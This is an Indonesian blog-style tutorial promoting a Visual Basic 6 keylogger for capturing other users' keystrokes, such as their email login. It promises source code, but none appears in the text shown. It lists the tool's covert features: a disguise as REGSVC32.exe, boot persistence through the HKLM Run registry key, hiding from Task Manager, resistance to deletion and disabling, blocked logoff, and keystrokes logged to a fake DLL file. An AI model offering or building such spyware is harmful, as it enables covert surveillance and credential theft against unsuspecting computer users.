Membuat Keylogger Dengan Visual Basic

Mungkin kita semua sudah sering mendengar tentang KeyLogger. Yeah.. KeyLogger adalah software yg mencatat gerak-gerik, atau aktifitas tombol yg kita tekan pada keyboard di sebuah Komputer. KeyLogger kemudian mencatat semua informasi pada sebuah catatan(LOG). Hmm.. dengan keylogger ini kita bisa mengetahui aktivitas user. Misalnya aja user habis buka E-mail, kamu bakalan tau ID-nya si User :D

Okay... berikut ini source code KeyLogger yang bisa kamu compile pake VB6. Kita hanya butuh sebuah timer dan module.

Yang perlu diperhatikan :

1. setelah REGSVC32.exe dieksekusi, keylogger tsg akan lg menulis di registry agar program tsb dieksekusi pd waktu booting:

(hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).

2. Aktifitas keylogger ini tidak dapat dilihat melalui task manager (Ctrl+Alt+Del)

3. kamu tidak dapat menghapus file REGSVC32.exe (this file is being used by windows)

4. kamu tidak dapat menghentikan booting REGSVC32.exe melalui regedit ato msconfig

5. Untuk melihat hasil rekaman KeyLogger ini kamu bisa buka file REGSVC32.DLL dengan Notepad

6. selama Keylogger ini aktif kamu tidak bisa melakukan Logoff user ... :(
